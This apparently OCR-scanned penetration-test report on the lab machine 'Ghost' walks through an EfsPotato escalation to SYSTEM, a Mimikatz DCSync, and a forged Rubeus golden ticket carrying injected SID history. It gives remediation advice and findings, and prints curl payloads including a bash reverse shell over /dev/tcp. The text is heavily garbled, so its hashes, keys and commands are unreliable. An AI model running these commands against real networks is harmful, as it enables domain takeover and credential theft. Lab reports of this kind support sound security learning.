Copyright (C) Microsoft Corporation. All rights reserwved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system3Z> whoami
ami

nt service\m55q153ruer!

FS Cr\Windows\system3z> ||

Shell obtained as nt service\mssqlserver on PRIMARY.corp.ghost.htb.

14. SeImpersonatePrivilege — EfsPotato SYSTEM

Token privileges on the mssqlserver session were checked:

PS C:\WinddWSkéyStemjzb whoami /priv
whoami fpriv

PRIVILEGES INFORMATION

Privilege Name Description State
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memery guotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
Ijmangehm.m_ﬁrﬂnu cking Enahled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
eCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Windows\system32> |

SeImpersonatePrivilege was enabled. EfsPotato was compiled and transferred:

git clone https://github.com/zcgonvh/EfsPotato && cd EfsPotato && mcs EfsPotato.cs

Execution was confirmed:

HA i i ofiles\MSSQLSERVER\Documents> .\EfsPotato.exe whoami
| .\EfsPotato.exe whoamiJ
EXpLOIT for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).

Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pable Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc

[!] binding ok (handle=1a4b94fa)

[+] Get Token: 912

[f] process with pid: 3888 created.

|nt authority\systeml
T\Windows\ServiceProfiles\MS5QLSERVER\Documents> ||
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A SYSTEM reverse shell was caught on port 9002:

‘Archwarden)-[~/HTB_Boxes/retired/ghost/EfsPotato!

5 rlwrap nc -nlvp 9882

listening on [any] 9882

connect to [10.10.16.68] from (UNKNOWN) [18.129.231.185] 49796
Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

{joes

Install the latest PowerShell for new features and improvements! httips://aka.ms/PSWindows

PS5 C:\Windows\ServiceProfiles\MSS5QLSERVER\Documents> whoami
whoami
{ﬁt authority\system

S L WIndows \SeTviceProfiles\MSSQLSERVER\Documents> ||

15. Cross-Domain Golden Ticket — Root Flag

PowerView confirmed a bidirectional trust between corp.ghost.htb and ghost.htb:

PS C:\Windows\ServiceProfiles\MSSQLSERVER\Documents> get-domaintrust
get-domaintrust

SourceName : corp.ghost.htb
TargetName : ghost.htb

TrustType : WINDOWS ACTIVE_ DIRECTORY
TrustAttriboutes : =EORE
TrustDirection :|Bidirectional
WhenCreated : 2/1/202k 2:33:33 AM
WhenChanged : 6/20/2026 5:29:27 PM

Mimikatz was used to DCSync the krbtgt account for corp.ghost.htb:

.\mimikatz.exe 'lsadump::dcsync /user:krbtgt@corp.ghost.htb' exit
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PS C:\Windows\ServiceProfiles\MSSQLSERVER\Documents> .\mimikatz.exe 'lsadump::dcsync /user:krbtgt@corp.ghost.htb’ exit
\mimikatz.exe 'lsadump::dcsync /user:krbtgt@corp.ghost.htb' exit

L iHHAH . mimikatz 2.2.@ (x64) #19041 Sep 19 2022 17:44:08

a

=4 #. "A La Vie, A L'Amour" - (oe.eo)

# / \ #t /#%% Benjamin DELPY “gentilkiwi® ( benjamin@gentilkiwi.com )

o\ /o > https://blog.gentilkiwi.com/mimikatz

=SV = 3 Vincent LE TOUX ( vincent.letoux@gmail.com )
" > https://pingcastle.com / https://mysmartlogon.com **%/

mimikatz(commandline) # lsadump::dcsync fuser:krbtgt@corp.ghost.hth
[DC] 'corp.ghost.htb' will be the domain

[DC] °PRIMARY.corp.ghost.htb’' will be the DC server

[DC] "krbtgt@corp.ghost.htb' will be the user account

[rpc] Service : ldap

[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN : krbtgt

*% SAM ACCOUNT #**

SAM Username : krbtgt
Account Type : 3p000000 ( USER_OBIECT )

User Account Control : 00000202 ( ACCOUNTDISABLE MORMAL_ACCOUNT )
Account expiration
Password last change : 1/31/2024 7:34:01 PM

Object Security ID : 5-1-5-21-2034262909-2733679486-179904498-502
Object Relative ID : 502
Credentials:

Hash NTLM: 69eb46aa347aB8cb8edb99be2725403ab
ntlm- B: 69eb46aa3&7a8c68edb99be2725403ab
Im - @8: fceff261045c75c4d7f6895ded75F6ch

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
Random Value : 4acd753922f1e79069fd95d67874bekc

* Primary:Kerberos-Newer-Keys *
Default Salt : CORP.GHOST.HTBkrbtgt
Default Iterations : 4096

Credentials 4
aes256_hmac (4096) : bBeb72f35055af9d61bcbbe8ccae81d98cf63215045F7216ffd1f8e@@9a75e8d |
aes128_hmac (4096) : eal871lcfdo9teetbc8efbassbcas2ss
des_cbc_md5 (4096) : b3e@7002511@celf

* Primary:Kerberos #*
Default Salt : CORP.GHOST.HTBkrbtgt
Credentials
des_cbc_md5 : b3ed7@025110celf

* Packages *
NTLM-Strong-NTOWF

AES256 krbtgt hash recovered: boeb79f35055at9d61bcbbe8ccae81d98cf63215045F7216Ffd1f8e009a75e8d

Rubeus forged a golden ticket with the ghosthtb Enterprise Admins  SID
(S-1-5-21-4084500788-938703357-3654145966-519) embedded in the SID history field and injected it

into the session:

.\Rubeus.exe golden /aes256:<krbtgt_hash> /ldap /user:Administrator \

/sids:S /ptt
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PS C:\Windows\ServiceProfiles\MSSQLSERVER\Documents> .\Rubeus.exe golden /aes256:b@eb79f35055af9d61bcbbe8ccac81d98cf63215045F7216ffd1f8e009a75¢e8d /ldap /user:Administrator /sids:S-1-5-21-408
4580788-938703357-3654145966-519 /ptt
.\Rubeus.exe golden /aes256:bBeb79f35055af9d61bcbbe8ccae81d98cf63215045f7216Ffd1f8e@B9a75e8d /ldap /user:Administrator /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt

[ —
(s /0 A0)
|
[T

v2.3.3
[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PRIMARY.corp.ghost.htb

[X] Error binding to LDAP server: The LDAP server is unavailable.

[!] LDAPS failed, retrying with plaintext LDAP.

[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/DC=corp,DC=ghost,DC=htb’ for '(samaccountname=Administrator)’

[*] Retrieving group and domain policy information over LDAP from domain controller PRIMARY.corp.ghost.htb

[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/DC=corp,DC=ghost,DC=htb' for '(|(distinguishedname=CN=Group Policy Creater Owners,CN=Users,DC=corp,DC=ghost,DC=htb)(distinguishedname=CN=Dom
ain Admins,CN=Users,DC=corp,DC=ghost,DC=htb)(distinguishedname=CN=Administrators,CN=Builtin,DC=corp,DC=ghost,DC=htb)(objectsid=5-1-5-21-2034262909-2733679486-179904498-513 ) (name={3182F340-01
6D-11D2-945F-00CO4FBIB4F}))"

[*] Attempting to mount: \\primary.corp.ghost.htb\SYSVOL

[*] \\primary.corp.ghost.htb\SYSVOL successfully mounted

[*] Attempting to unmount: \\primary.corp.ghost.htb\SYSvOL

[*] \\primary.corp.ghost.htb\SYSVOL successfully unmounted

[*] Retrieving netbios name information over LDAP from domain controller PRIMARY.corp.ghost.htb

[*] Searching path °LDAP://PRIMARY.corp.ghost.htb/CN=Configuration,DC=ghost,DC=htb" for '(&(netbiosname=*)(dnsroot=corp.ghest.htb))"

[*] Building PAC

[*] Domain : CORP.GHOST.HTB (GHOST-CORP)

[*] SID : 5-1-5-21-2034262909-2733679486-179904498

[*] Userld : 500

[*] Groups : 544,512,520,513

[*] ExtraSIDs : $-1-5-21-4084500788-938703357-3654145966-519

[*] ServiceKey : BOEB79F35055AF9D61BCBBESCCAES1DIBCF63215045F7216FFD1FSEQQIATSESD
[*] ServiceKeyType : KERB_CHECKSUM HMAC_SHA1 96_AES256

[*] KDCKey : BREB7OF 1BCBEESCCAES1D98CF63215045F7216FFD1FEE00IATSESD
[*] KDCKeyType : KERB_CHECKSUM HMAC_SHA1 96 AES256

[*1 Service : krbtgt

[*]1 Target : corp.ghost.htb

[*] Generating EncTicketPart

[*] Signing PAC

[*] Encrypting EncTicketPart

[*] Generating Ticket
KERR_CRED.

[*]
[#]|Forged a TGT for ‘Adninistratoracerp.ghost.htb’ |

[*] AuthTime : 6/20/2026 2:42:32 PM
[*] StartTime : 6/20/2026 2:42:32 PM
[*] EndTime : 6/21/2026 12:42:32 AM
[*] RenewTill : 6/27/2026 2:42:32 PM

[*] bases4(ticket.kirbi):

doIF1TCCEdGgAWT g TEujCCBL MIIErgADAGEF ULAUROhPULQUSFRCOiMW
IaADAZECOROWGESGa3J1id6d0GwS b3 JwLmdob3NOLmhoYqoCEGAWEgRq0AMCARKhAWI EABKCEFWEEERY
HS/NTa9wuUGb8YC93HaFdwil25 FNEMPEBOSTPH7803cKksZxKa7q7CrnUMs XPDDUE] 55CrZEFMIMNEDM
LnEYmpYcQNrcxrdMIvGEtFvR+1IkpuloRoa+h800GcrpIECRPXXY fSc8h+pyqwhbGY+22+UUGECh7tVE
w16AqVWRQAHFWMI 5 zwES TUpPQVEODQS0+InCI3VmNc df6MIEBTpU+ECNF JAUCWHFThFobMx2XGFtWeQde
at1XiMh6ghZe/ErEHIKWSL7516CT0uL0]sIx4qu3omlwzN3rvVnCeubjbChxKKVNpIHZAtix/NySyqry
4A09HBEMWahAL LRGUTeQbSLDMKUSZ6UG7 2 G001y Zhskt4IxXakxkG3mmYyX5X/qoxkXEBTGE+ysPSek
2rhzS4TGzIVDWhXzrF2y2qEnl/bR3Sx+B2MGFZ162nCnlw+ JICF95ixwgxGodzb FUQBwLMK ji37BFIPsA
6/8/BIBn38FpvFEHPO0yYBha7sApbxHUOCMIPrLZ89npAEIDUSodo2 PXhutrgzNLp21bvZYbBane7DEM
e/GgcVusKUtoSoVCTaIvDQLIR10EDUX7 zqHP1pDH juQuuHAioE51X905haHKF7 covsulwZ/PtYnVWWa7l
1zHjEVONMEOU9 S8z fZW+drt 2 16DS +x 192y /c4¥1 gIWGhrKzdQqOznkt@@pbyajj2nzh¥Nx1DHxx5034z
thRh5hwpS5FzDduhcgqcl r559v+RelUABWIpEPUVaDXASVT+qB+nCB1Lo7Ky7yBFOFz 1 Zvv rugW33wslz
rXT2A0cNZZEn9wniafriGo3tos3dc+TeWiyx1DTTxHeNHbmiC47 /xqbHxNG j 1 FWOF68ATOCOULYVD/G
gAbHYLeez51eydgl bAOXRGUL S Z0etRENjujqBOis8h1 rNBgEKyKhuTmLDI1eKZny99pa7pdeBdFZ200
Skx/std/x94tdi0XVRUqOs Jzktx3aMVMBs pZWHRNTBDfeQ223rabwn3XYwl2gy1E5UQFsTTtRKX0U4HA
Lic7bRFx5108V/vq2et2maWboOKKCOkmzHHHVWomE owXWz88Wc Vv fs37XInCDOwT e/ 7nz9dRO1O2750u
pmibf ImPITielgfl 113Wc/w+rofCkfIy14LDv6hPaniyCpy9ntZcl9azhh2nGy
BQninrPbuYKZqZEjnsi8T3784FchZckCkq97LyW/6IF/ELEqzV73HboXStnHPXiTxxn2z/A52DIFCYup
$J50DVHO1HV209IkgmMrg2mWE3KOUZI+rdk/4n6patTfBiawzPdbfleoCMkGuI1wlqOauxzUHKm7LikS
1zovy3V4BWWIBODMLB4NVWDUBNCFSVONAW3MOib7@y8fM3acx/700tk+STMRINI jxW8 26 FHWINVAKLU
U61v6V9 // pwI3HQLYmx1iPMDe tNyq8EKG7aEKYN9 Imz0j g 2EFMIIEAZADAGEADOHSBIH2 fYHZMIHWOIHL
MIHQMIHROCSWKaADAZESOSTEIMSNESrvNNw/PNOTWA4ZrOCE+ZBFM+/4dP3YDXK2E100RABDKNPULAY
ROhPU1QUSFRCohoWGKADAZEBOREWDX SNQWRtaWS pe 3Ry YXRvC OMHAWUAQDAAAKQRGASYMDI 2ZMDYyMDIx
NDIzMLqLERgZPMjAyN jAZM ] AyMTQyMz JaphEYDZ Il YwN j TxMDcOMjMyWqcRGASYMDT 2MDY yNZIxNDIZ
MLgoEBS0Q09SUCSHSESTVCSIVEKPIZAhoAMCAQKRG jAYGWZ rem30Z3QbDmNy cnAuZ2hv c3QuaHRi

[+] Ticket successfully imported!

With the ticket injected, DCO1.ghost.htb was accessed directly and the root flag read from the
Administrator's desktop:

Ps C:\Windows\ServiceProfiles\MSSQLSERVER\Documents> [dir \\dc@i.ghost.htb\c$\Users\Administrator\Desktop |
dir \\dc@1.ghost.htb\c§\Users\Administrator\Desktop

Directory: \\dc@l.ghost.htb\c$\Users\Administrator\Desktop

Mode LastWriteTime Length Name

-ar— 6/20/2026 10:17 AM

Ps C:\windows\SeruicePrnfiles\MSSQLSERVER\Documents>IEEPE \\dc@1l.ghost.htb\c$\Users\Administrator\Desktop\root.txt
: 81.¢ho ) $ 2 Administrator\Desktop\Toot.tXt

2d5246805269619aaeed06086bCFI%e

PS C:\Windows\ServiceProfiles\MSSQLSERVER\Documents> ||
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6 Remediation Summary

As a result of this assessment, multiple high and critical severity findings were identified that in
combination allowed full compromise of two Active Directory domains from an unauthenticated
external position. The remediation actions below are prioritised by impact and ease of
implementation.

6.1 Short Term
SHORT TERM REMEDIATION:

* Remediate the LDAP injection in the intranet authentication handler immediately. Implement
proper escaping of all user-supplied values before insertion into LDAP filter strings, or replace the
LDAP authentication with a dedicated identity provider that handles authentication securely. Reject
special characters including *, (, ), \, and NUL from username and password fields.

* Remove or disable the /api-dev/scan endpoint. No server-side component should construct a shell
command by interpolating user-supplied strings. If network reachability testing is a genuine
requirement, implement it through a safe library that does not invoke a shell, and enforce a strict
allowlist of permitted targets.

* Restrict the Ghost CMS content API extra parameter to a strict allowlist of permitted filenames
within the intended base directory. Reject any value containing path separators or traversal
sequences. Alternatively, remove the extra parameter entirely if it serves no production purpose.

+ Audit ReadGMSAPassword delegations in Active Directory. GMSA accounts should only be readable
by the specific service accounts or computers that require them. Remove ReadGMSAPassword
rights from any account that does not operationally require them.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

* Review ADFS token signing certificate storage and DKM key access controls. The DKM encryption
key and token signing certificate should only be accessible to the ADFS service account and Domain
Admins. Restrict AD object permissions on the DKM container and rotate the token signing
certificate after this engagement.

* Harden the Docker container SSH configuration. ControlMaster sockets should not persist in
container root home directories, and service accounts or automated scripts should use purpose-
built keys with minimal privilege rather than session multiplexing. Review what SSH access is
established from containerised services to domain-joined hosts.

* Restrict MSSQL linked server permissions. The PRIMARY linked server should not be accessible from
the Ghost Core SQL interface with sa-level impersonation. Audit linked server configurations for
rpcout, dataaccess, and the identity used for linked server queries. Apply least-privilege principles:
most linked server access does not require xp_cmdshell capability.

* Review ADIDNS permissions. By default, authenticated domain users can create DNS records in the
Active Directory Integrated DNS zone. This enables DNS spoofing attacks using any domain
credential. Consider restricting DNS record creation to designated DNS administrators or service
accounts.
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6.3 Long Term
LONG TERM REMEDIATION:

* Review the cross-domain trust between ghost.htb and corp.ghost.htb. Bidirectional trusts
significantly increase the attack surface of both domains. If the trust is required, implement SID
filtering (quarantine) on the trust to prevent SID history injection attacks. SID filtering blocks forged
tickets from being treated as members of high-privileged groups in the trusting domain.

* Rotate all krbtgt account passwords for both ghost.htb and corp.ghost.htb. The krbtgt hash for
corp.ghost.htb was fully recovered and can be used to forge tickets offline indefinitely until rotated.
Each domain's krbtgt should be rotated twice (to invalidate any tickets created before and after the
first rotation) on a defined schedule.

* Enforce the principle of least privilege for all service accounts. nt service\mssqlserver should not
hold SeImpersonatePrivilege in production environments where it is not operationally necessary.
Review all service account token privileges and remove any that are not explicitly required.

* Implement centralised logging and alerting for anomalous LDAP authentication patterns, Kerberos
ticket anomalies (especially unusual SID history attributes), SAML assertion modifications, and
MSSQL xp_cmdshell execution. These events would have provided early warning of each stage of
this attack chain.
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7 Technical Findings Details

1. OS Command Injection in Intranet Developer API Scan
Endpoint -

CWE-78 - Improper Neutralization of Special Elements used in an OS Command
('OS Command Injection')

CVSS 3.1 9.9 / CVSS:3.1/AV:N/AC:L/PR:L/UL:N/S:C/C:H/I:H/A:H

The intranet backend's endpoint accepts a JSON field and

passes it directly into a shell invocation using Rust's (S e G EE)
.arg("-c").arg(format! ("intranet_url_check {}", data.url)) SNeESEIgNiFIle]a M

applied. Shell metacharacters including semicolons, pipes, and backticks execute
arbitrary commands as the container's root user. The endpoint is gated by an
header, which was recovered via the path traversal in Finding 3.

Remote code execution as root inside the Docker container hosting the intranet
Impact application. A reverse shell was obtained, enabling enumeration of the container
file system and discovery of the SSH ControlMaster socket used in Finding 5.

CWE

Root Cause

Affected

http://intranet.ghost.htb:8008/api-dev/scan — OS command injection in url field
Component

Remove the endpoint. If network reachability testing is a genuine
operational requirement, rewrite it using a safe networking library that does not

Remediation invoke a shell, enforce a strict allowlist of permitted target hostnames or IP ranges,
and ensure the feature is not exposed to unauthenticated callers. Never construct
shell commands by interpolating user-supplied strings.

* https://owasp.org/www-community/attacks/Command_Injection
References * https://cheatsheetseries.owasp.org/cheatsheets/
OS_Command_Injection_Defense_Cheat_Sheet.html

Finding Evidence

Initial execution was confirmed with whoami :

(base) —(pars c g 123 )-[~/Documents/HTB_Boxes/retired/ghost] 3
% curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json’ - "urt”:";| whoami
{"is_safe":true,"temp_command_success”":true,"temp_command_stdout”: root\n","temp_command_stderr”:"bash: line 1: intranet_url_check: command not found\n"F}

A bash reverse shell payload was sent through the same endpoint:

(base) — |- [~/Documents/HTB_Boxes/retired/ghost
L§ curl -X POST http://intranet.ghost.htb:8008/api-dev/scan -H 'X-DEV-INTRANET-KEY: !@yqriX2kxmQ.@Xe' -H ‘Content-Type: application/json’ -d url™:"; bash -i >& /dev/tcpf16.10.16.60/9001| 0>51
1
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(base) —iparallels® kali-gnu-linux-2023)-[~/Documents/HTB_Boxes/retired/ghost]
L$§ rlwrap nc -lvnp 9881

listening on [any] 9801

connect to [1@.10.16.60] from (UNKNOWN) [10.129.231.1@05] 49844

bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell

LootR26h733906694: /app# whoami

whoami
root
Too h733906694: fapp# ]
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2. LDAP Injection Authentication Bypass on Intranet Login -

CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query
('LDAP Injection’)

CVSS 3.1 9.1 / CVSS:3.1/AV:N/AC:L/PR:N/UL:N/S:U/C:H/I:H/A:N

The intranet application at authenticates users against an
LDAP backend and passes user-supplied username and password values directly
into the LDAP filter without escaping. Submitting a wildcard character (@) as both
username and password causes the filter to match every entry in the directory,
bypassing authentication entirely. No valid credentials are required to gain an
authenticated session.

CWE

Root Cause

Unauthenticated access to the intranet application, including user account listings,
internal news posts referencing CIG IR EIEtEll, and forum posts revealing

Impact the absence of a DNS record. This information directly
enabled the LDAP password brute-force and DNS poisoning attacks documented in
subsequent findings.

Affected

o http://intranet.ghost.htb:8008/login — LDAP authentication, wildcard bypass

Implement proper LDAP filter escaping for all user-supplied values per RFC 4515.
Special characters including @ @ @ @ and NUL must be escaped before insertion
into filter strings. Consider using a dedicated LDAP library that provides safe

Remediation parameterised filter construction rather than string concatenation. Enforce an
allowlist on username characters at the input validation layer. Additionally,
implement account lockout or rate limiting to limit the impact of credential stuffing
and injection attacks.

* https://cheatsheetseries.owasp.org/cheatsheets/
References LDAP_Injection_Prevention_Cheat_Sheet.html
* https://owasp.org/www-community/attacks/LDAP_Injection

Finding Evidence

The intranet login page source exposed the field name 1ldap-username, confirming LDAP backend
authentication:

Joe Thompson Ghost 37


https://cwe.mitre.org/data/definitions/90
https://cwe.mitre.org/data/definitions/90
https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html
https://owasp.org/www-community/attacks/LDAP_Injection

A" ARCHWARDEN

1/12 item:
n" name="SACTION REF 1°=>
SACTION 1:0
SACTION 1:1" va

wltipart/for-data® method="POST > (ISR

e> | event) (flex

= </div> (Flex

fo"=&E</button> (flex

ext/static/chunks/webpack-1982a2198e71cdad. js* async=""x</

Submitting * as both username and password bypassed authentication immediately — no
enumeration or brute-force of valid usernames was required:

Intranet Login

Login

The authenticated session exposed a full internal user list, internal news references, and forum
intelligence used in later attack stages:
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Intranet

News
Username Full Name Member of

Users
kathryn.holland Kathryn Holland sysadmin

Forum

cassandra.shelton Cassandra Shelton sysadmin

robert.steeves Robert Steeves sysadmin

florence.ramirez Florence Ramirez T

justin.bradley Justin Bradley IT, Remote Management Users
arthur.boyd Arthur Boyd IT

beth.clark Beth Clark HR

charles.gray Charles Gray HR

jason.taylor Jason Taylor HR

intranet_principal Intranet Principal principal

gitea_temp_principal Gitea_Temp Principal principal
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3. ADFS Token Signing Key Extraction Enables Golden SAML
Token Forgery - High

CWE CWE-287 - Improper Authentication
CVSS 3.1 8.0 / CVSS:3.1/AV:N/AC:H/PR:H/UIL:N/S:C/C:H/I:H/A:H

The ADFS service account has access to the ADFS token signing
certificate and the Distributed Key Manager (DKM) key stored in Active Directory.
The DKM key encrypts the token signing certificate's private key. Together, these
Root Cause components allow an attacker to forge valid SAML assertions for any user without
knowing their credentials — this is a Golden SAML attack. ADFSDump extracted
both keys from the ADFS database; ADFSpoof forged a SAML assertion for

Administrator@ghost.htb}

Authentication to the Ghost Core admin panel as EXsusFEy e donsale]sleryapsyds

without valid credentials. The admin panel exposed an MSSQL query interface
connected to a linked server in [deigsis|ileiiaMaids), leading to cross-domain remote
code execution as documented in Finding 9.

Impact

« federation.ghost.htb — ADFS federation service; token signing private key
extractable via DKM
* https://core.ghost.htb:8443 — Ghost Core admin panel, SAML-authenticated

Affected
Component

Rotate the ADFS token signing certificate immediately. Restrict access to the DKM
encryption key container in Active Directory — only the ADFS service account and
domain administrators should hold read rights on the DKM container object.

Remediation Monitor for export or use of the ADFS token signing certificate. Implement SAML
response validation logging and alert on SAML assertions for high-privilege
accounts (Administrator, Domain Admins) to detect forged token usage. Consider
enabling ADFS auditing.

* https://www.mandiant.com/resources/blog/detecting-and-responding-to-
golden-saml-attacks

* https://github.com/mandiant/ADFSDump

* https://github.com/szymex73/ADFSpoof

References

Finding Evidence

Authenticating to Ghost Core as justin.bradley showed the panel was administrator-restricted:

Sorry, this page is only currently available to the Administrator

You are currently logged in as: justin.bradley

ADFSDump was run as adfs_gmsa$ to extract the DKM key and encrypted token signing certificate:
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(base) i (parallels® kali-gnu-Llinux-2023)-[~/Documents/HTB_Boxes/retired/ghost]
L§ echo '8D-AC-A4-90-70-2B-3F-D6-08-D5-BC-35-A9-84-87-56-D2-FA-3B-7B~74-13-A3-C6-2C-58-A6-F4-58-FB-9D-A1" > dkmkey.txt

base) i (parallels® kali-gnu-Llinux-2023)-[~/Documents/HTB_Boxes/retired/ghost]
L5 echo 'AAAAAQAAAAAEEAFYHLNXh2VDskaBKMTxXboGCWCGSAFLAWQCAQY JYTZTAWUDBATBBg1 ghkgBZQWEAQTETN3BLD 1 FTpYLox2V35L 3knZBgl6utbeqqules theUG, eBBBIVH3VZ/S1veIMobAmjy t TTTQoMESYYRBERL WT0e12gZ0ngBMCUZREUATQY SWK2XKYWRZ
ZKiNCn6hLez1rhD8ZoaAaa01l jdwhBBULAFKCFB3/D0FQ/9cm3 3xSTmBHFr tuf hYXpFiAKNARLSTKM2ZXmPLdkm2 3DLAIGiREPCQrXntaR+21tYd4m8 InBraXDSURr I zmn IDMQHSpol +wGqKIGh4AX19BgNPLPNGYT56/59TC7XtWUNCYybr 7nd9XhADDAGH /Am4 VMLBTZZKEdb
nAmWirE2fhovfZw+ERP JnTVLEPSDId8rgTu61 CWzaKdbvdKDPDXQC JuT /TAOYFZL90YKSCEGFUUNNTFHELSZ IThd8F JUMTMOGZg3C1 7HL xZwUDzMv3mS6RaXZaY/ ZXFVAWBYquxnC0z71vXEpiXrGg3vEs7ADQYNED It g5y BECEDMtW6MXgsGloUhS5ar6ZUE3Qb/D1VmZLSKP
aT4Fft/x4MZZXNXRNELS +D/bgwiBeo3dh85LgKc 1T21AXHBDe TNIV X 7WIYT 5v50dP IXJ0sHFBPzvr 11gwtm6KE/ tZAL jatkigAMUDeGGBOMOFIdGO7h2FhMgTdz4UjMay 3WqeWhcownt SPRQMYVIEyvzhqusAGrnj/FC/TRB2omIirdf sserN+Wmydy1QqycdhVl juMmotG2y
m6IpfChaWt20uSU2MMHI 1UST 2GY 1uPFEyeuyArS 1EK2qrglEa J12VIBHKN 1P+ xALSOF 5LKOdKAQKOJXQNX1acLd5ADTNami IcRPISAVCIYOVOIDPICTe i INTKDWTEX/T1VTXUO1QCEA Ey T2/ WOXWaT SZA5 46Ws 16QORSUG2dATOI6 4t apKbyY pONSTULdHQGpLvaYSGS2Tomt
m&B8YWdGOSec4 K j jAWamsCwVEbbVWr9eZ8N48g FcGMg13ZgnCd4 3L CLX1 Bf dWonmgOoYml qeFXzY50ZAK7 7YvX16L940pCoT1RAKMhBO2K 1+ rakCxxWEFmAN 1 LUS+SARDCGSHrXMaBc 3AXeTBQRI tPLXpMQi JidiNCAqPyZhxouPRxMz7 SOWL2Lv1ZwGDWnT Am8TKaFTc fW
ST06n3aU1DDEL tVURDrEsoT10rBADTM/2RK60TUUG SwEmSTLORUT AHRMYQKSTOuRghT pVhWoQI1SCAoh+Tq2n f26sBAev2Hrd8 4RBdoFHIbeTvpot HNCZ /pE DS 0QvpMULL6HPY NGO SR/0T2 Lxx ZDKi SNAXQyQSvWe £ /UpXuDLEKhOpW/b  FbilgMDy i 77ABdXUcesBg+LNZ
2ikxy2pP35n12NOY9vBCOYSWXzaf 0e+PUIWORKUPTZQF JX1nE7Hg j skmA4KX5IGPwBUdwXgzHaSUFEIMENL nbyVpCKGAO1GF6Ix 1uihzvBIBNDMIGDTWin1 Gy B4MTCgDaudLifas aQoINCRVB eSS4 FH+XD ] 7KVKHE5Q07TxkUDSU3ADENG jDNPOPMOUC Iprl ple 19+ EbsVy27F
€0ZTGO3TASM7 xnii &My CRIRIUP 28/ YBTOWMK32 g9 5nRCt@VMYNSNQBAV /u3012q46 J9FDtnDXINYg9/KCADCWD/UITFNYOruYGmWa3ziayiKInAWmSDWGX P81 35n26508q VG5 1KB50NdimS3FGkt rV1pTXM6/bbgKhWrogaC71 IbXsTHCzr tHE0DZ2KTqwd3POWIPE3ARRIT1S
9KPSYVLYvyaNhxEgZi rxgccP6cMONOZUF2E ItP215X1q4P1024bgl uZFG1XbDASLDBCOWVRY 1gD3CNYCnYeqD4eT g xRy rmVF zkXEFT TAkkq1g8MEYhCON3M31 FHi1L6de08AIonMgAADTgu vy ZpdxeGk] 3X0+ jeQGUSTDHP7PZPY +uKf Sw87 I6148rh0k1Aq+0k] JRIQaFMeD
FInSilngHXjPZIgXPWGXKATWZP+2F8yXTKS0@NHETSYQETF jU40TOBPK1MN2DpPROC 152pBdAIBX22V1 FO3ThPVUIVIVNUOEX1BON+BE2DOE T0TeZHM/8S4dZL FV/+q8vTQPNGFhpYUSMWNTAGTn7 1VSb+BarPGeTNIHIGRSAD7 LhOzx VX9 J4XWFXSHPZ9qZ L F IMGPYGr/BuY
nOMdd+4ndeKyxTOF L4 f ce91CoYkS sMI5ZwsECRPuF5gvHdqSi 1rYdCrecO+RChoMwy LOB+MTEBPUNQBYVcly ecxjaZtYtK+G2ZqyQUaNye F4V6tcreFQF930qDqvmSC IpmBcomVm I rKusX7TRAMSuz9 L h i YXM+RHAN 6V8Y2 rHFQRspKMA Dy FdqulD+jNuRMy Lc/X5736kNc
BT11SY1R+8k2046JOMXZG5NtoL 2FETr85KB MO Ig+2n HgA1 CBLmwbxOkP 1TW3 312081 k109MF2kXWBbSY6BaNu9dPqOjSA2E0H+Izmé4KkeL rIVqLG2X8SAMIKHKFBPPECq § +AVBCVDNFKG FOWAGEN+L1/ 161 TEOXTAK1HWVBEN] 9L PE3KNK+DYd JaR+30N WZToYXKIVS8iG
ET5vX80muZ3RqiInTRBbYQATIdVXKaHZ SKSEqUIW1hKo3b9sNIVLNZGIzCa IKAER293VPMi 2bBzXx1BNTVOsY TMOEY in2Q/vBBpBXCxv/ 12QmIkZsLzKZbAKCWUFT +/11%PDFVAAT t+TcdVPOAS UPOTbar6iHndHf Fylch 2PU1/9UySTTRY
Nv+0T1f+25/HBat xse JAxd4YN/AYanmswz3 FxFIGAS ITX64KLX IOHYDN umw0 +KmBUWEMFulsh/ 2ugMaTDGEn rnDQAIZmo40KDATAWVSAn f 1K2 tPgingo2ql ZYdwSAdWgnnEOTOp+qR ++cAae16Ey3cku52 IxQ2UNQLBEBST vt pAYipG2C/3MPMBKaGT tR1nu/C3C/38UBGMFC
1Abepfb7dhuT3my9antYFCAGLTFIECSFbhFobGOWSS LI imVwe 1FKEOGKZQRNVE j X 7B1MeAULFETG ] 7HWGQKIVDSVHh7WhXwuyRpF3KRThbkS8ZadKpDHEFUD1aCtal18MECE511dTVFTHSRFO j +wZweroWFGursIs1971bdEi FVp/2DvChzWXy07 1 fww]QyGdoBNmralsUsn
AtHAFRgdurHi ZowVkhLRZZ F3UN7600MB Y S46LY5F3K++bOF+CADS/9aAgf 491dy3283T0ir5Q+b3eYss25cL IF02F i15khYBIw7 ECA+WDMUBAIDAXhY Swe EFh72VDBAZKR1 SOEGXTLORTKUGOZM3BE 5 112XbSnHsp 121 F9gZXresxVuxm7 J799F L TYrdXFQegThg i +uTuVs
